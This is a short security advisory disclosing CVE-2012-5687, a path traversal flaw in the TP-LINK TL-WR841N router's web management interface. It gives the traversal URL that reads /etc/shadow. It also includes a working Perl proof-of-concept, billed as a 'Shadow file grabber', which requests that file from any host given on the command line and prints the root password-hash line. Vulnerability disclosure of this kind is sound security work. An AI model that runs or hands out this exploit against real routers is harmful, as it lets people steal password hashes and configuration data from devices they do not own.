CVE-2012-5687

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| |____ >  <| |_) | | (_) | | |_  | |_) | |_| | | |___| |_| | |_) |  __/ |  \__ \  __/ (__| |_| | |  | | |_| |_| |
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| Security Advisory - TP-LINK TL-WR841N LFI |=

Issue: TL-WR841N 300Mbps Wireless N Router by "TP-LINK"
Firmware Version: 3.13.9 Build 120201 Rel.54965n And Below versions
Discovered Date: 24/10/2012
CVE-ID: CVE-2012-5687
Author: Matan Azugi [matan (at) madsec.co (dot) il [email concealed]] Product Vendor:
http://www.tp-link.com/en/products/details/?model=TL-WR841N

Details:

TP-LINK TL-WR841N Wireless Router is prone to a Local File Inclusion(LFI)
Vulnerability.
The vulnerability exists in Web-Based Management. The URL parameter is not
properly sanitized before being used.
Exploitation URL:

http://192.168.0.1/help/../../../../../../../../etc/shadow

Successful exploitation allows viewing the router configuration and password
files.

Proof of Concept Code:

#TP-LINK TL-WR841N Shadow file grabber#
#built by Pulse matan (at) madsec.co (dot) il [email concealed]#
#enjoy#

use LWP::UserAgent;
$host = $ARGV[0];
chomp($host);
if($host !~ /http:\/\//) { $host = "http://$host"; };

my $ua = LWP::UserAgent->new;
$ua->timeout(30);
$lfi = "/help/../../../../../../../../etc/shadow";
$url = $host.$lfi;
$request = HTTP::Request->new('GET', $url); $response =
$ua->request($request); my $html = $response->content; if($html =~ /root/) {
print "root$' \n" ; }

Thank You,
Matan Azugi, MCSE OSCP